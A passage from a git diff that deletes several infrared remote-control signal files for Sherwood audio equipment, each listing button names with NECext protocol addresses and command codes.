83 45 00 00 -command: E6 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: E7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir deleted file mode 100644 index a3f43a2c0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 0D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 10 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 12 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 13 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 18 00 00 00 -# -name: skip_p -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 19 00 00 00 -# -name: skip_n -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 1C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 1D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 1F 00 00 00 -# -name: tun -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 44 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 45 00 00 00 -# -name: sel -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 47 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 48 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 49 00 00 00 -# -name: vid1 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 4A 00 00 00 -# -name: dat -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 4B 00 00 00 -# -name: ph -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 4C 00 00 00 -# -name: vid2 -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 4D 00 00 00 -# -name: hall -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 56 00 00 00 -# -name: stereo -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 57 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 5A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 5E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 81 72 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir deleted file mode 100644 index 1f0c9111a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 81 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 83 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 86 00 00 00 -# -name: bal- -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 87 00 00 00 -# -name: treb/bass- -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 88 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 89 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 8A 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 8B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 8C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 8D 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 8F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 90 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 91 00 00 00 -# -name: bal+ -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 97 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 98 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 45 83 00 00 -command: 99 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 45 83 00 00 -command: C0 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 45 83 00 00 -command: C1 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 45 83 00 00 -command: C2 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 45 83 00 00 -command: C3 00 00 00 -# -name: spk_a -type: parsed -protocol: NECext -address: 45 83 00 00 -command: C4 00 00 00 -# -name: spk_b -type: parsed -protocol: NECext -address: 45 83 00 00 -command: C6 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 45 83 00 00 -command: C7 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 45 83 00 00 -command: CB 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 45 83 00 00 -command: CC 00 00 00 -# -name: tone_sel -type: parsed -protocol: NECext -address: 45 83 00 00 -command: CE 00 00 00 -# -name: fm_mode -type: parsed -protocol: NECext -address: 45 83 00 00 -command: CF 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 45 83 00 00 -command: D4 00 00 00 -# -name: p.scan -type: parsed -protocol: NECext -address: 45 83 00 00 -command: D8 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 45 83 00 00 -command: D9 00 00 00 -# -name: treb/bass+ -type: parsed -protocol: NECext -address: 45 83 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir deleted file mode 100644 index 6cec4908e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0A 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0C 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0D 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0E 00 00 00 -# -name: CD_FAST_REWIND -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0F 00 00 00 -# -name: CD_FAST_FORWARD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 10 00 00 00 -# -name: CD_SKIP_BACKWARD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 11 00 00 00 -# -name: CD_SKIP_FORWARD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 12 00 00 00 -# -name: CD_1_ALL -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 13 00 00 00 -# -name: CD_RANDOM -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 14 00 00 00 -# -name: PSCAN -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 18 00 00 00 -# -name: DECK_B_RECORD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 1D 00 00 00 -# -name: DECK_B_PAUSE -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 1E 00 00 00 -# -name: DECK_B_BACK -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 1F 00 00 00 -# -name: DECK_B_FORWARD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 20 00 00 00 -# -name: DECK_B_STOP -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 21 00 00 00 -# -name: DECK_B_FAST_REWIND -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 22 00 00 00 -# -name: DECK_B_FAST_FORWARD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 23 00 00 00 -# -name: DECK_A_RECORD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 25 00 00 00 -# -name: DECK_A_PAUSE -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 26 00 00 00 -# -name: DECK_A_BACK -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 27 00 00 00 -# -name: DECK_A_FORWARD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 28 00 00 00 -# -name: DECK_A_STOP -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 29 00 00 00 -# -name: DECK_A_FAST_REWIND -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 2A 00 00 00 -# -name: DECK_A_FAST_FORWARD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 2B 00 00 00 -# -name: CD_INTRO -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 32 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 34 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 35 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 36 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 37 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 3A 00 00 00 -# -name: CD_A_B -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 3C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 3D 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 47 00 00 00 -# -name: CLASSIC -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 48 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 49 00 00 00 -# -name: FLAT -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 4A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 56 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 57 00 00 00 -# -name: POPS -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 5B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 5C 00 00 00 -# -name: DISK -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 5E 00 00 00 -# -name: JAZZ -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir deleted file mode 100644 index cbfcb00a1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0A 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0B 00 00 00 -# -name: CD_Stop -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0C 00 00 00 -# -name: CD_Pause -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0D 00 00 00 -# -name: CD_Play -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0E 00 00 00 -# -name: CD_Skip_Back -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 0F 00 00 00 -# -name: CD_Skip_Forward -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 10 00 00 00 -# -name: CD_Track_Back -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 11 00 00 00 -# -name: CD_Track_Forward -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 12 00 00 00 -# -name: CD_Repeat -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 13 00 00 00 -# -name: CD_Intro_Scan -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 14 00 00 00 -# -name: P.Scan -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 18 00 00 00 -# -name: DECKA_Record -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 1D 00 00 00 -# -name: DECKA_Pause -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 1E 00 00 00 -# -name: DECKA_Play_Rev -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 1F 00 00 00 -# -name: DECKA_Play_For -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 20 00 00 00 -# -name: DECKA_Stop -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 21 00 00 00 -# -name: DECKA_Fast_Rewind -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 22 00 00 00 -# -name: DECKA_Fast_Forward -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 23 00 00 00 -# -name: DECKB_Record -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 25 00 00 00 -# -name: DECKB_Pause -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 26 00 00 00 -# -name: DECKB_Play_Rev -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 27 00 00 00 -# -name: DECKB_Play_For -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 28 00 00 00 -# -name: DECKB_Stop -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 29 00 00 00 -# -name: DECKB_Fast_Rewind -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 2A 00 00 00 -# -name: DECKB_Fast_Forward -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 2B 00 00 00 -# -name: FUNC_Phono -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 32 00 00 00 -# -name: FUNC_Tape2 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 33 00 00 00 -# -name: FUNC_Tape1 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 34 00 00 00 -# -name: FUNC_Tuner -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 35 00 00 00 -# -name: FUNC_CD -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 36 00 00 00 -# -name: FUNC_Aux -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 37 00 00 00 -# -name: FUNC_LDP -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 39 00 00 00 -# -name: FUNC_VCR1 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 3A 00 00 00 -# -name: FUNC_VCR2 -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 3B 00 00 00 -# -name: S.Mode -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 42 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 46 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 47 00 00 00 -# -name: C.Mode -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 4B 00 00 00 -# -name: T.Tone -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 4C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 4D 00 00 00 -# -name: D.Time -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 4E 00 00 00 -# -name: Center_Level_Down -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 4F 00 00 00 -# -name: Center_Level_Up -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 50 00 00 00 -# -name: Rear_Level_Down -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 51 00 00 00 -# -name: Rear_Level_Up -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 52 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 53 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 54 00 00 00 -# -name: Master_Volume_Up -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 55 00 00 00 -# -name: Master_Volume_Down -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 56 00 00 00 -# -name: EQ_Display -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 5B 00 00 00 -# -name: EQ_T.Mon -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 5C 00 00 00 -# -name: EQ_Preset -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 5D 00 00 00 -# -name: EQ_User -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 5E 00 00 00 -# -name: EQ_File -type: parsed -protocol: NECext -address: 83 44 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir deleted file mode 100644 index f1cad052a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 00 00 00 00 -# -name: turntable-stop -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 01 00 00 00 -# -name: turntable-play -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 02 00 00 00 -# -name: tuner-shift -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 03 00 00 00 -# -name: vid-sound-select -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 07 00 00 00 -# -name: tuner-1/9 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 08 00 00 00 -# -name: tuner-2/10 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 09 00 00 00 -# -name: tuner-3/11 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 0A 00 00 00 -# -name: tuner-4/12 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 0B 00 00 00 -# -name: tuner-5/13 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 0C 00 00 00 -# -name: tuner-6/14 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 0D 00 00 00 -# -name: tuner-7/15 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 0E 00 00 00 -# -name: tuner-8/16 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 0F 00 00 00 -# -name: cas-A-rew -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 10 00 00 00 -# -name: cas-A-ff -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 11 00 00 00 -# -name: cas-A-play-reverse -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 12 00 00 00 -# -name: cas-A-play-front -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 13 00 00 00 -# -name: cas-A-record -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 18 00 00 00 -# -name: cas-A-pause -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 19 00 00 00 -# -name: cas-A-stop -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 1A 00 00 00 -# -name: cas-B-stop -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 1B 00 00 00 -# -name: cas-B-rew -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 1C 00 00 00 -# -name: cas-B-ff -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 1D 00 00 00 -# -name: cas-B-play-reverse -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 1E 00 00 00 -# -name: cas-B-play-front -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 1F 00 00 00 -# -name: cdp-prev -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 40 00 00 00 -# -name: cdp-next -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 41 00 00 00 -# -name: cdp-stop -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 42 00 00 00 -# -name: cdp-play -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 43 00 00 00 -# -name: cdp-pause -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 44 00 00 00 -# -name: cdp-repeat -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 45 00 00 00 -# -name: tape-monitor -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 47 00 00 00 -# -name: eq-select-1 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 48 00 00 00 -# -name: eq-select-2 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 49 00 00 00 -# -name: eq-select-3 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 4A 00 00 00 -# -name: eq-select-4 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 4B 00 00 00 -# -name: input-select-vcr -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 59 00 00 00 -# -name: input-select-tv -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 5A 00 00 00 -# -name: input-select-vid2 -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 5B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 5D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 5E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 81 7B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir deleted file mode 100644 index e6bf6fce6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 0A 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 0B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 0C 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 0D 00 00 00 -# -name: auto_space -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 0F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 14 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 15 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 16 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 18 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 1A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 81 7A 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir deleted file mode 100644 index 04c395e96..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CASS_DECK_A -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 00 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 01 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 02 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 03 00 00 00 -# -name: VISUAL -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 04 00 00 00 -# -name: EQ_USER -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 05 00 00 00 -# -name: TAPEMONITOR -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 06 00 00 00 -# -name: REPEAT_AB -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 09 00 00 00 -# -name: TV_AUX -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 0A 00 00 00 